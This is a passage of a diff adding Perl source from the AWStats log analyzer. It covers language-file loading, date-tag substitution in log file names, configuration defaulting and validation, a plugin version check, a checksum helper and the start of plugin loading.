Windows and standard package: "$DIR/lang" (lang in same dir than awstats.pl) +# Debian package : "/usr/share/awstats/lang" + my @PossibleLangDir = + ( "$DirLang", "$DIR/lang", "/usr/share/awstats/lang" ); + + my $FileLang = ''; + foreach (@PossibleLangDir) { + my $searchdir = $_; + if ( $searchdir + && ( !( $searchdir =~ /\/$/ ) ) + && ( !( $searchdir =~ /\\$/ ) ) ) + { + $searchdir .= "/"; + } + if ( open( LANG, "${searchdir}awstats-$_[0].txt" ) ) { + $FileLang = "${searchdir}awstats-$_[0].txt"; + last; + } + } + + # If file not found, we try english + if ( !$FileLang ) { + foreach (@PossibleLangDir) { + my $searchdir = $_; + if ( $searchdir + && ( !( $searchdir =~ /\/$/ ) ) + && ( !( $searchdir =~ /\\$/ ) ) ) + { + $searchdir .= "/"; + } + if ( open( LANG, "${searchdir}awstats-en.txt" ) ) { + $FileLang = "${searchdir}awstats-en.txt"; + last; + } + } + } + if ($Debug) { + debug("Call to Read_Language_Data [FileLang=\"$FileLang\"]"); + } + if ($FileLang) { + my $i = 0; + binmode LANG; # Might avoid 'Malformed UTF-8 errors' + my $cregcode = qr/^PageCode=[\t\s\"\']*([\w-]+)/i; + my $cregdir = qr/^PageDir=[\t\s\"\']*([\w-]+)/i; + my $cregmessage = qr/^Message\d+=/i; + while (<LANG>) { + chomp $_; + s/\r//; + if ( $_ =~ /$cregcode/o ) { $PageCode = $1; } + if ( $_ =~ /$cregdir/o ) { $PageDir = $1; } + if ( $_ =~ s/$cregmessage//o ) { + $_ =~ s/^#.*//; # Remove comments + $_ =~ s/\s+#.*//; # Remove comments + $_ =~ tr/\t / /s; # Change all blanks into " " + $_ =~ s/^\s+//; + $_ =~ s/\s+$//; + $_ =~ s/^\"//; + $_ =~ s/\"$//; + $Message[$i] = $_; + $i++; + } + } + close(LANG); + } + else { + warning( +"Warning: Can't find language files for \"$_[0]\". English will be used." + ); + } + + # Some language string changes + if ( $LogType eq 'M' ) { # For mail + $Message[8] = $Message[151]; + $Message[9] = $Message[152]; + $Message[57] = $Message[149]; + $Message[75] = $Message[150]; + } + if ( $LogType eq 'F' ) { # For web + + } +} + +#------------------------------------------------------------------------------ +# Function: Substitute date tags in a string by value +# Parameters: String +# Input: All global variables +# Output: Change on some global variables +# Return: String +#------------------------------------------------------------------------------ +sub Substitute_Tags { + my $SourceString = shift; + if ($Debug) { debug("Call to Substitute_Tags on $SourceString"); } + + my %MonthNumLibEn = ( + "01", "Jan", "02", "Feb", "03", "Mar", "04", "Apr", + "05", "May", "06", "Jun", "07", "Jul", "08", "Aug", + "09", "Sep", "10", "Oct", "11", "Nov", "12", "Dec" + ); + + while ( $SourceString =~ /%([ymdhwYMDHWNSO]+)-(\(\d+\)|\d+)/ ) { + + # Accept tag %xx-dd and %xx-(dd) + my $timetag = "$1"; + my $timephase = quotemeta("$2"); + my $timephasenb = "$2"; + $timephasenb =~ s/[^\d]//g; + if ($Debug) { + debug( +" Found a time tag '$timetag' with a phase of '$timephasenb' hour in log file name", + 1 + ); + } + + # Get older time + my ( + $oldersec, $oldermin, $olderhour, $olderday, + $oldermonth, $olderyear, $olderwday, $olderyday + ) + = localtime( $starttime - ( $timephasenb * 3600 ) ); + my $olderweekofmonth = int( $olderday / 7 ); + my $olderweekofyear = + int( + ( $olderyday - 1 + 6 - ( $olderwday == 0 ? 6 : $olderwday - 1 ) ) / + 7 ) + 1; + if ( $olderweekofyear > 53 ) { $olderweekofyear = 1; } + my $olderdaymod = $olderday % 7; + $olderwday++; + my $olderns = + Time::Local::timegm( 0, 0, 0, $olderday, $oldermonth, $olderyear ); + + if ( $olderdaymod <= $olderwday ) { + if ( ( $olderwday != 7 ) || ( $olderdaymod != 0 ) ) { + $olderweekofmonth = $olderweekofmonth + 1; + } + } + if ( $olderdaymod > $olderwday ) { + $olderweekofmonth = $olderweekofmonth + 2; + } + + # Change format of time variables + $olderweekofmonth = "0$olderweekofmonth"; + if ( $olderweekofyear < 10 ) { $olderweekofyear = "0$olderweekofyear"; } + if ( $olderyear < 100 ) { $olderyear += 2000; } + else { $olderyear += 1900; } + my $oldersmallyear = $olderyear; + $oldersmallyear =~ s/^..//; + if ( ++$oldermonth < 10 ) { $oldermonth = "0$oldermonth"; } + if ( $olderday < 10 ) { $olderday = "0$olderday"; } + if ( $olderhour < 10 ) { $olderhour = "0$olderhour"; } + if ( $oldermin < 10 ) { $oldermin = "0$oldermin"; } + if ( $oldersec < 10 ) { $oldersec = "0$oldersec"; } + + # Replace tag with new value + if ( $timetag eq 'YYYY' ) { + $SourceString =~ s/%YYYY-$timephase/$olderyear/ig; + next; + } + if ( $timetag eq 'YY' ) { + $SourceString =~ s/%YY-$timephase/$oldersmallyear/ig; + next; + } + if ( $timetag eq 'MM' ) { + $SourceString =~ s/%MM-$timephase/$oldermonth/ig; + next; + } + if ( $timetag eq 'MO' ) { + $SourceString =~ s/%MO-$timephase/$MonthNumLibEn{$oldermonth}/ig; + next; + } + if ( $timetag eq 'DD' ) { + $SourceString =~ s/%DD-$timephase/$olderday/ig; + next; + } + if ( $timetag eq 'HH' ) { + $SourceString =~ s/%HH-$timephase/$olderhour/ig; + next; + } + if ( $timetag eq 'NS' ) { + $SourceString =~ s/%NS-$timephase/$olderns/ig; + next; + } + if ( $timetag eq 'WM' ) { + $SourceString =~ s/%WM-$timephase/$olderweekofmonth/g; + next; + } + if ( $timetag eq 'Wm' ) { + my $olderweekofmonth0 = $olderweekofmonth - 1; + $SourceString =~ s/%Wm-$timephase/$olderweekofmonth0/g; + next; + } + if ( $timetag eq 'WY' ) { + $SourceString =~ s/%WY-$timephase/$olderweekofyear/g; + next; + } + if ( $timetag eq 'Wy' ) { + my $olderweekofyear0 = sprintf( "%02d", $olderweekofyear - 1 ); + $SourceString =~ s/%Wy-$timephase/$olderweekofyear0/g; + next; + } + if ( $timetag eq 'DW' ) { + $SourceString =~ s/%DW-$timephase/$olderwday/g; + next; + } + if ( $timetag eq 'Dw' ) { + my $olderwday0 = $olderwday - 1; + $SourceString =~ s/%Dw-$timephase/$olderwday0/g; + next; + } + + # If unknown tag + error("Unknown tag '\%$timetag' in parameter."); + } + +# Replace %YYYY %YY %MM %DD %HH with current value. Kept for backward compatibility. + $SourceString =~ s/%YYYY/$nowyear/ig; + $SourceString =~ s/%YY/$nowsmallyear/ig; + $SourceString =~ s/%MM/$nowmonth/ig; + $SourceString =~ s/%MO/$MonthNumLibEn{$nowmonth}/ig; + $SourceString =~ s/%DD/$nowday/ig; + $SourceString =~ s/%HH/$nowhour/ig; + $SourceString =~ s/%NS/$nowns/ig; + $SourceString =~ s/%WM/$nowweekofmonth/g; + my $nowweekofmonth0 = $nowweekofmonth - 1; + $SourceString =~ s/%Wm/$nowweekofmonth0/g; + $SourceString =~ s/%WY/$nowweekofyear/g; + my $nowweekofyear0 = $nowweekofyear - 1; + $SourceString =~ s/%Wy/$nowweekofyear0/g; + $SourceString =~ s/%DW/$nowwday/g; + my $nowwday0 = $nowwday - 1; + $SourceString =~ s/%Dw/$nowwday0/g; + + return $SourceString; +} + +#------------------------------------------------------------------------------ +# Function: Check if all parameters are correctly defined. If not set them to default. +# Parameters: None +# Input: All global variables +# Output: Change on some global variables +# Return: None +#------------------------------------------------------------------------------ +sub Check_Config { + if ($Debug) { debug("Call to Check_Config"); } + + # Show initial values of main parameters before check + if ($Debug) { + debug( " LogFile='$LogFile'", 2 ); + debug( " LogType='$LogType'", 2 ); + debug( " LogFormat='$LogFormat'", 2 ); + debug( " LogSeparator='$LogSeparator'", 2 ); + debug( " DNSLookup='$DNSLookup'", 2 ); + debug( " DirData='$DirData'", 2 ); + debug( " DirCgi='$DirCgi'", 2 ); + debug( " DirIcons='$DirIcons'", 2 ); + debug( " NotPageList " . ( join( ',', keys %NotPageList ) ), 2 ); + debug( " ValidHTTPCodes " . ( join( ',', keys %ValidHTTPCodes ) ), 2 ); + debug( " ValidSMTPCodes " . ( join( ',', keys %ValidSMTPCodes ) ), 2 ); + debug( " UseFramesWhenCGI=$UseFramesWhenCGI", 2 ); + debug( " BuildReportFormat=$BuildReportFormat", 2 ); + debug( " BuildHistoryFormat=$BuildHistoryFormat", 2 ); + debug( + " URLWithQueryWithOnlyFollowingParameters=" + . ( join( ',', @URLWithQueryWithOnly ) ), + 2 + ); + debug( + " URLWithQueryWithoutFollowingParameters=" + . ( join( ',', @URLWithQueryWithout ) ), + 2 + ); + } + + # Main section + $LogFile = &Substitute_Tags($LogFile); + if ( !$LogFile ) { + error("LogFile parameter is not defined in config/domain file"); + } + if ( $LogType !~ /[WSMF]/i ) { $LogType = 'W'; } + $LogFormat =~ s/\\//g; + if ( !$LogFormat ) { + error("LogFormat parameter is not defined in config/domain file"); + } + if ( $LogFormat =~ /^\d$/ && $LogFormat !~ /[1-6]/ ) { + error( +"LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')" + ); + } + $LogSeparator ||= "\\s"; + $DirData ||= '.'; + $DirCgi ||= '/cgi-bin'; + $DirIcons ||= '/icon'; + if ( $DNSLookup !~ /[0-2]/ ) { + error( +"DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)" + ); + } + if ( !$SiteDomain ) { + error( +"SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats." + ); + } + if ( $AllowToUpdateStatsFromBrowser !~ /[0-1]/ ) { + $AllowToUpdateStatsFromBrowser = 0; + } + if ( $AllowFullYearView !~ /[0-3]/ ) { $AllowFullYearView = 2; } + + # Optional setup section + if ( !$SectionsToBeSaved ) { $SectionsToBeSaved = 'all'; } + if ( $EnableLockForUpdate !~ /[0-1]/ ) { $EnableLockForUpdate = 0; } + $DNSStaticCacheFile ||= 'dnscache.txt'; + $DNSLastUpdateCacheFile ||= 'dnscachelastupdate.txt'; + if ( $DNSStaticCacheFile eq $DNSLastUpdateCacheFile ) { + error( +"DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values." + ); + } + if ( $AllowAccessFromWebToAuthenticatedUsersOnly !~ /[0-1]/ ) { + $AllowAccessFromWebToAuthenticatedUsersOnly = 0; + } + if ( $CreateDirDataIfNotExists !~ /[0-1]/ ) { + $CreateDirDataIfNotExists = 0; + } + if ( $BuildReportFormat !~ /html|xhtml|xml/i ) { + $BuildReportFormat = 'html'; + } + if ( $BuildHistoryFormat !~ /text|xml/ ) { $BuildHistoryFormat = 'text'; } + if ( $SaveDatabaseFilesWithPermissionsForEveryone !~ /[0-1]/ ) { + $SaveDatabaseFilesWithPermissionsForEveryone = 0; + } + if ( $PurgeLogFile !~ /[0-1]/ ) { $PurgeLogFile = 0; } + if ( $KeepBackupOfHistoricFiles !~ /[0-1]/ ) { + $KeepBackupOfHistoricFiles = 0; + } + $DefaultFile[0] ||= 'index.html'; + if ( $AuthenticatedUsersNotCaseSensitive !~ /[0-1]/ ) { + $AuthenticatedUsersNotCaseSensitive = 0; + } + if ( $URLNotCaseSensitive !~ /[0-1]/ ) { $URLNotCaseSensitive = 0; } + if ( $URLWithAnchor !~ /[0-1]/ ) { $URLWithAnchor = 0; } + $URLQuerySeparators =~ s/\s//g; + if ( !$URLQuerySeparators ) { $URLQuerySeparators = '?;'; } + if ( $URLWithQuery !~ /[0-1]/ ) { $URLWithQuery = 0; } + if ( $URLReferrerWithQuery !~ /[0-1]/ ) { $URLReferrerWithQuery = 0; } + if ( $WarningMessages !~ /[0-1]/ ) { $WarningMessages = 1; } + if ( $DebugMessages !~ /[0-1]/ ) { $DebugMessages = 0; } + + if ( $NbOfLinesForCorruptedLog !~ /^\d+/ || $NbOfLinesForCorruptedLog < 1 ) + { + $NbOfLinesForCorruptedLog = 50; + } + if ( $Expires !~ /^\d+/ ) { $Expires = 0; } + if ( $DecodeUA !~ /[0-1]/ ) { $DecodeUA = 0; } + $MiscTrackerUrl ||= '/js/awstats_misc_tracker.js'; + + # Optional accuracy setup section + if ( $LevelForWormsDetection !~ /^\d+/ ) { $LevelForWormsDetection = 0; } + if ( $LevelForRobotsDetection !~ /^\d+/ ) { $LevelForRobotsDetection = 2; } + if ( $LevelForBrowsersDetection !~ /^\w+/ ) { + $LevelForBrowsersDetection = 2; + } # Can be 'allphones' + if ( $LevelForOSDetection !~ /^\d+/ ) { $LevelForOSDetection = 2; } + if ( $LevelForRefererAnalyze !~ /^\d+/ ) { $LevelForRefererAnalyze = 2; } + if ( $LevelForFileTypesDetection !~ /^\d+/ ) { + $LevelForFileTypesDetection = 2; + } + if ( $LevelForSearchEnginesDetection !~ /^\d+/ ) { + $LevelForSearchEnginesDetection = 2; + } + if ( $LevelForKeywordsDetection !~ /^\d+/ ) { + $LevelForKeywordsDetection = 2; + } + + # Optional extra setup section + foreach my $extracpt ( 1 .. @ExtraName - 1 ) { + if ( $ExtraStatTypes[$extracpt] !~ /[PHBL]/ ) { + $ExtraStatTypes[$extracpt] = 'PHBL'; + } + if ( $MaxNbOfExtra[$extracpt] !~ /^\d+$/ + || $MaxNbOfExtra[$extracpt] < 0 ) + { + $MaxNbOfExtra[$extracpt] = 20; + } + if ( $MinHitExtra[$extracpt] !~ /^\d+$/ || $MinHitExtra[$extracpt] < 1 ) + { + $MinHitExtra[$extracpt] = 1; + } + if ( !$ExtraColumnValues[$extracpt] ) { + error( +"Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter" + ); + } + if ( !$ExtraColumnFormat[$extracpt] ) { + $ExtraColumnFormat[$extracpt] = '%s'; + } + } + + # Optional appearance setup section + if ( $MaxRowsInHTMLOutput !~ /^\d+/ || $MaxRowsInHTMLOutput < 1 ) { + $MaxRowsInHTMLOutput = 1000; + } + if ( $ShowMenu !~ /[01]/ ) { $ShowMenu = 1; } + if ( $ShowSummary !~ /[01UVPHB]/ ) { $ShowSummary = 'UVPHB'; } + if ( $ShowMonthStats !~ /[01UVPHB]/ ) { $ShowMonthStats = 'UVPHB'; } + if ( $ShowDaysOfMonthStats !~ /[01VPHB]/ ) { + $ShowDaysOfMonthStats = 'VPHB'; + } + if ( $ShowDaysOfWeekStats !~ /[01PHBL]/ ) { $ShowDaysOfWeekStats = 'PHBL'; } + if ( $ShowHoursStats !~ /[01PHBL]/ ) { $ShowHoursStats = 'PHBL'; } + if ( $ShowDomainsStats !~ /[01PHB]/ ) { $ShowDomainsStats = 'PHB'; } + if ( $ShowHostsStats !~ /[01PHBL]/ ) { $ShowHostsStats = 'PHBL'; } + + if ( $ShowAuthenticatedUsers !~ /[01PHBL]/ ) { + $ShowAuthenticatedUsers = 0; + } + if ( $ShowRobotsStats !~ /[01HBL]/ ) { $ShowRobotsStats = 'HBL'; } + if ( $ShowWormsStats !~ /[01HBL]/ ) { $ShowWormsStats = 'HBL'; } + if ( $ShowEMailSenders !~ /[01HBML]/ ) { $ShowEMailSenders = 0; } + if ( $ShowEMailReceivers !~ /[01HBML]/ ) { $ShowEMailReceivers = 0; } + if ( $ShowSessionsStats !~ /[01]/ ) { $ShowSessionsStats = 1; } + if ( $ShowPagesStats !~ /[01PBEX]/i ) { $ShowPagesStats = 'PBEX'; } + if ( $ShowFileTypesStats !~ /[01HBC]/ ) { $ShowFileTypesStats = 'HB'; } + if ( $ShowDownloadsStats !~ /[01HB]/ ) { $ShowDownloadsStats = 'HB';} + if ( $ShowFileSizesStats !~ /[01]/ ) { $ShowFileSizesStats = 1; } + if ( $ShowOSStats !~ /[01]/ ) { $ShowOSStats = 1; } + if ( $ShowBrowsersStats !~ /[01]/ ) { $ShowBrowsersStats = 1; } + if ( $ShowScreenSizeStats !~ /[01]/ ) { $ShowScreenSizeStats = 0; } + if ( $ShowOriginStats !~ /[01PH]/ ) { $ShowOriginStats = 'PH'; } + if ( $ShowKeyphrasesStats !~ /[01]/ ) { $ShowKeyphrasesStats = 1; } + if ( $ShowKeywordsStats !~ /[01]/ ) { $ShowKeywordsStats = 1; } + if ( $ShowClusterStats !~ /[01PHB]/ ) { $ShowClusterStats = 0; } + if ( $ShowMiscStats !~ /[01anjdfrqwp]/ ) { $ShowMiscStats = 'a'; } + if ( $ShowHTTPErrorsStats !~ /[01]/ ) { $ShowHTTPErrorsStats = 1; } + if ( $ShowSMTPErrorsStats !~ /[01]/ ) { $ShowSMTPErrorsStats = 0; } + if ( $AddDataArrayMonthStats !~ /[01]/ ) { $AddDataArrayMonthStats = 1; } + + if ( $AddDataArrayShowDaysOfMonthStats !~ /[01]/ ) { + $AddDataArrayShowDaysOfMonthStats = 1; + } + if ( $AddDataArrayShowDaysOfWeekStats !~ /[01]/ ) { + $AddDataArrayShowDaysOfWeekStats = 1; + } + if ( $AddDataArrayShowHoursStats !~ /[01]/ ) { + $AddDataArrayShowHoursStats = 1; + } + my @maxnboflist = ( + 'Domain', 'HostsShown', + 'LoginShown', 'RobotShown', + 'WormsShown', 'PageShown', + 'OsShown', 'BrowsersShown', + 'ScreenSizesShown', 'RefererShown', + 'KeyphrasesShown', 'KeywordsShown', + 'EMailsShown', 'DownloadsShown' + ); + my @maxnboflistdefaultval = + ( 10, 10, 10, 10, 5, 10, 10, 10, 5, 10, 10, 10, 20 ); + foreach my $i ( 0 .. ( @maxnboflist - 1 ) ) { + if ( !$MaxNbOf{ $maxnboflist[$i] } + || $MaxNbOf{ $maxnboflist[$i] } !~ /^\d+$/ + || $MaxNbOf{ $maxnboflist[$i] } < 1 ) + { + $MaxNbOf{ $maxnboflist[$i] } = $maxnboflistdefaultval[$i]; + } + } + my @minhitlist = ( + 'Domain', 'Host', 'Login', 'Robot', + 'Worm', 'File', 'Os', 'Browser', + 'ScreenSize', 'Refer', 'Keyphrase', 'Keyword', + 'EMail', 'Downloads' + ); + my @minhitlistdefaultval = ( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ); + foreach my $i ( 0 .. ( @minhitlist - 1 ) ) { + if ( !$MinHit{ $minhitlist[$i] } + || $MinHit{ $minhitlist[$i] } !~ /^\d+$/ + || $MinHit{ $minhitlist[$i] } < 1 ) + { + $MinHit{ $minhitlist[$i] } = $minhitlistdefaultval[$i]; + } + } + if ( $FirstDayOfWeek !~ /[01]/ ) { $FirstDayOfWeek = 1; } + if ( $UseFramesWhenCGI !~ /[01]/ ) { $UseFramesWhenCGI = 1; } + if ( $DetailedReportsOnNewWindows !~ /[012]/ ) { + $DetailedReportsOnNewWindows = 1; + } + if ( $ShowLinksOnUrl !~ /[01]/ ) { $ShowLinksOnUrl = 1; } + if ( $MaxLengthOfShownURL !~ /^\d+/ || $MaxLengthOfShownURL < 1 ) { + $MaxLengthOfShownURL = 64; + } + if ( $ShowLinksToWhoIs !~ /[01]/ ) { $ShowLinksToWhoIs = 0; } + $Logo ||= 'awstats_logo6.png'; + $LogoLink ||= 'http://www.awstats.org'; + if ( $BarWidth !~ /^\d+/ || $BarWidth < 1 ) { $BarWidth = 260; } + if ( $BarHeight !~ /^\d+/ || $BarHeight < 1 ) { $BarHeight = 90; } + $color_Background =~ s/#//g; + if ( $color_Background !~ /^[0-9|A-H]+$/i ) { + $color_Background = 'FFFFFF'; + } + $color_TableBGTitle =~ s/#//g; + + if ( $color_TableBGTitle !~ /^[0-9|A-H]+$/i ) { + $color_TableBGTitle = 'CCCCDD'; + } + $color_TableTitle =~ s/#//g; + if ( $color_TableTitle !~ /^[0-9|A-H]+$/i ) { + $color_TableTitle = '000000'; + } + $color_TableBG =~ s/#//g; + if ( $color_TableBG !~ /^[0-9|A-H]+$/i ) { $color_TableBG = 'CCCCDD'; } + $color_TableRowTitle =~ s/#//g; + if ( $color_TableRowTitle !~ /^[0-9|A-H]+$/i ) { + $color_TableRowTitle = 'FFFFFF'; + } + $color_TableBGRowTitle =~ s/#//g; + if ( $color_TableBGRowTitle !~ /^[0-9|A-H]+$/i ) { + $color_TableBGRowTitle = 'ECECEC'; + } + $color_TableBorder =~ s/#//g; + if ( $color_TableBorder !~ /^[0-9|A-H]+$/i ) { + $color_TableBorder = 'ECECEC'; + } + $color_text =~ s/#//g; + if ( $color_text !~ /^[0-9|A-H]+$/i ) { $color_text = '000000'; } + $color_textpercent =~ s/#//g; + if ( $color_textpercent !~ /^[0-9|A-H]+$/i ) { + $color_textpercent = '606060'; + } + $color_titletext =~ s/#//g; + if ( $color_titletext !~ /^[0-9|A-H]+$/i ) { $color_titletext = '000000'; } + $color_weekend =~ s/#//g; + if ( $color_weekend !~ /^[0-9|A-H]+$/i ) { $color_weekend = 'EAEAEA'; } + $color_link =~ s/#//g; + if ( $color_link !~ /^[0-9|A-H]+$/i ) { $color_link = '0011BB'; } + $color_hover =~ s/#//g; + if ( $color_hover !~ /^[0-9|A-H]+$/i ) { $color_hover = '605040'; } + $color_other =~ s/#//g; + if ( $color_other !~ /^[0-9|A-H]+$/i ) { $color_other = '666688'; } + $color_u =~ s/#//g; + if ( $color_u !~ /^[0-9|A-H]+$/i ) { $color_u = 'FFA060'; } + $color_v =~ s/#//g; + if ( $color_v !~ /^[0-9|A-H]+$/i ) { $color_v = 'F4F090'; } + $color_p =~ s/#//g; + if ( $color_p !~ /^[0-9|A-H]+$/i ) { $color_p = '4477DD'; } + $color_h =~ s/#//g; + if ( $color_h !~ /^[0-9|A-H]+$/i ) { $color_h = '66EEFF'; } + $color_k =~ s/#//g; + if ( $color_k !~ /^[0-9|A-H]+$/i ) { $color_k = '2EA495'; } + $color_s =~ s/#//g; + if ( $color_s !~ /^[0-9|A-H]+$/i ) { $color_s = '8888DD'; } + $color_e =~ s/#//g; + if ( $color_e !~ /^[0-9|A-H]+$/i ) { $color_e = 'CEC2E8'; } + $color_x =~ s/#//g; + if ( $color_x !~ /^[0-9|A-H]+$/i ) { $color_x = 'C1B2E2'; } + + # Correct param if default value is asked + if ( $ShowSummary eq '1' ) { $ShowSummary = 'UVPHB'; } + if ( $ShowMonthStats eq '1' ) { $ShowMonthStats = 'UVPHB'; } + if ( $ShowDaysOfMonthStats eq '1' ) { $ShowDaysOfMonthStats = 'VPHB'; } + if ( $ShowDaysOfWeekStats eq '1' ) { $ShowDaysOfWeekStats = 'PHBL'; } + if ( $ShowHoursStats eq '1' ) { $ShowHoursStats = 'PHBL'; } + if ( $ShowDomainsStats eq '1' ) { $ShowDomainsStats = 'PHB'; } + if ( $ShowHostsStats eq '1' ) { $ShowHostsStats = 'PHBL'; } + if ( $ShowEMailSenders eq '1' ) { $ShowEMailSenders = 'HBML'; } + if ( $ShowEMailReceivers eq '1' ) { $ShowEMailReceivers = 'HBML'; } + if ( $ShowAuthenticatedUsers eq '1' ) { $ShowAuthenticatedUsers = 'PHBL'; } + if ( $ShowRobotsStats eq '1' ) { $ShowRobotsStats = 'HBL'; } + if ( $ShowWormsStats eq '1' ) { $ShowWormsStats = 'HBL'; } + if ( $ShowPagesStats eq '1' ) { $ShowPagesStats = 'PBEX'; } + if ( $ShowFileTypesStats eq '1' ) { $ShowFileTypesStats = 'HB'; } + if ( $ShowDownloadsStats eq '1' ) { $ShowDownloadsStats = 'HB';} + if ( $ShowOriginStats eq '1' ) { $ShowOriginStats = 'PH'; } + if ( $ShowClusterStats eq '1' ) { $ShowClusterStats = 'PHB'; } + if ( $ShowMiscStats eq '1' ) { $ShowMiscStats = 'anjdfrqwp'; } + +# Convert extra sections data into @ExtraConditionType, @ExtraConditionTypeVal... + foreach my $extranum ( 1 .. @ExtraName - 1 ) { + my $part = 0; + foreach my $conditioncouple ( + split( /\s*\|\|\s*/, $ExtraCondition[$extranum] ) ) + { + my ( $conditiontype, $conditiontypeval ) = + split( /[,:]/, $conditioncouple, 2 ); + $ExtraConditionType[$extranum][$part] = $conditiontype; + if ( $conditiontypeval =~ /^REGEX\[(.*)\]$/i ) { + $conditiontypeval = $1; + } + + #else { $conditiontypeval=quotemeta($conditiontypeval); } + $ExtraConditionTypeVal[$extranum][$part] = qr/$conditiontypeval/i; + $part++; + } + foreach my $extracol ( 1 .. @{ $ExtraColumnTitle[$extranum] } - 1 ) { + $part = 0; + foreach my $rowkeycouple ( + split( /\s*\|\|\s*/, $ExtraColumnValues[$extranum][$extracol] ) ) + { + my ( $rowkeytype, $rowkeytypeval ) = + split( /[,:]/, $rowkeycouple, 2 ); + $ExtraColumnValuesType[$extranum][$extracol][$part] = $rowkeytype; + if ( $rowkeytypeval =~ /^REGEX\[(.*)\]$/i ) { $rowkeytypeval = $1; } + + #else { $rowkeytypeval=quotemeta($rowkeytypeval); } + $ExtraColumnValuesTypeVal[$extranum][$extracol][$part] = + qr/$rowkeytypeval/i; + $part++; + } + } + } + + # Show definitive value for major parameters + if ($Debug) { + debug( " LogFile='$LogFile'", 2 ); + debug( " LogFormat='$LogFormat'", 2 ); + debug( " LogSeparator='$LogSeparator'", 2 ); + debug( " DNSLookup='$DNSLookup'", 2 ); + debug( " DirData='$DirData'", 2 ); + debug( " DirCgi='$DirCgi'", 2 ); + debug( " DirIcons='$DirIcons'", 2 ); + debug( " SiteDomain='$SiteDomain'", 2 ); + debug( " MiscTrackerUrl='$MiscTrackerUrl'", 2 ); + foreach ( keys %MaxNbOf ) { debug( " MaxNbOf{$_}=$MaxNbOf{$_}", 2 ); } + foreach ( keys %MinHit ) { debug( " MinHit{$_}=$MinHit{$_}", 2 ); } + + foreach my $extranum ( 1 .. @ExtraName - 1 ) { + debug( + " ExtraCodeFilter[$extranum] is array " + . join( ',', @{ $ExtraCodeFilter[$extranum] } ), + 2 + ); + debug( + " ExtraConditionType[$extranum] is array " + . join( ',', @{ $ExtraConditionType[$extranum] } ), + 2 + ); + debug( + " ExtraConditionTypeVal[$extranum] is array " + . join( ',', @{ $ExtraConditionTypeVal[$extranum] } ), + 2 + ); + foreach my $extracol ( 1 .. @{ $ExtraColumnTitle[$extranum] } - 1 ) { + debug( + " ExtraColumnFunction[$extranum][$extracol] is array " + . join( ',', @{ $ExtraColumnFunction[$extranum][$extracol] } ), + 2 + ); + debug( + " ExtraColumnValuesType[$extranum][$extracol] is array " + . join( ',', @{ $ExtraColumnValuesType[$extranum][$extracol] } ), + 2 + ); + debug( + " ExtraColumnValuesTypeVal[$extranum][$extracol] is array " + . join( ',', @{ $ExtraColumnValuesTypeVal[$extranum][$extracol] } ), + 2 + ); + } + } + } + +# Deny URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters both set + if ( @URLWithQueryWithOnly && @URLWithQueryWithout ) { + error( +"URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time" + ); + } + + # Deny $ShowHTTPErrorsStats and $ShowSMTPErrorsStats both set + if ( $ShowHTTPErrorsStats && $ShowSMTPErrorsStats ) { + error( +"ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time" + ); + } + + # Deny LogFile if contains a pipe and PurgeLogFile || ArchiveLogRecords set on + if ( ( $PurgeLogFile || $ArchiveLogRecords ) && $LogFile =~ /\|\s*$/ ) { + error( +"A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0" + ); + } + + # If not a migrate, check if DirData is OK + if ( !$MigrateStats && !-d $DirData ) { + if ($CreateDirDataIfNotExists) { + if ($Debug) { debug( " Make directory $DirData", 2 ); } + my $mkdirok = mkdir "$DirData", 0766; + if ( !$mkdirok ) { + error( +"$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)." + ); + } + } + else { + error( +"AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable." + ); + } + } + + if ( $LogType eq 'S' ) { $NOTSORTEDRECORDTOLERANCE = 1000000; } +} + +#------------------------------------------------------------------------------ +# Function: Common function used by init function of plugins +# Parameters: AWStats version required by plugin +# Input: $VERSION +# Output: None +# Return: '' if ok, "Error: xxx" if error +#------------------------------------------------------------------------------ +sub Check_Plugin_Version { + my $PluginNeedAWStatsVersion = shift; + if ( !$PluginNeedAWStatsVersion ) { return 0; } + $VERSION =~ /^(\d+)\.(\d+)/; + my $numAWStatsVersion = ( $1 * 1000 ) + $2; + $PluginNeedAWStatsVersion =~ /^(\d+)\.(\d+)/; + my $numPluginNeedAWStatsVersion = ( $1 * 1000 ) + $2; + if ( $numPluginNeedAWStatsVersion > $numAWStatsVersion ) { + return +"Error: AWStats version $PluginNeedAWStatsVersion or higher is required. Detected $VERSION."; + } + return ''; +} + +#------------------------------------------------------------------------------ +# Function: Return a checksum for an array of string +# Parameters: Array of string +# Input: None +# Output: None +# Return: Checksum number +#------------------------------------------------------------------------------ +sub CheckSum { + my $string = shift; + my $checksum = 0; + + # use MD5; + # $checksum = MD5->hexhash($string); + my $i = 0; + my $j = 0; + while ( $i < length($string) ) { + my $c = substr( $string, $i, 1 ); + $checksum += ( ord($c) << ( 8 * $j ) ); + if ( $j++ > 3 ) { $j = 0; } + $i++; + } + return $checksum; +} + +#------------------------------------------------------------------------------ +# Function: Load plugins files +# Parameters: None +# Input: $DIR @PluginsToLoad +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub Read_Plugins { + +# Check plugin files in common possible directories : +# Windows and standard package: "$DIR/plugins" (plugins in same dir than awstats.pl) +# Redhat : "/usr/local/awstats/wwwroot/cgi-bin/plugins" +# Debian package : "/usr/share/awstats/plugins" + my @PossiblePluginsDir = ( + "$DIR/plugins", + "/usr/local/awstats/wwwroot/cgi-bin/plugins", + "/usr/share/awstats/plugins" + ); + my %DirAddedInINC = (); + +#Removed for security reason +#foreach my $key (keys %NoLoadPlugin) { if ($NoLoadPlugin{$key} < 0) { push @PluginsToLoad, $key; } } + if ($Debug) { + debug( + "Call to Read_Plugins with list: " . join( ',', @PluginsToLoad ) ); + } + foreach my $plugininfo (@PluginsToLoad) { + my ( $pluginfile, $pluginparam ) = split( /\s+/, $plugininfo, 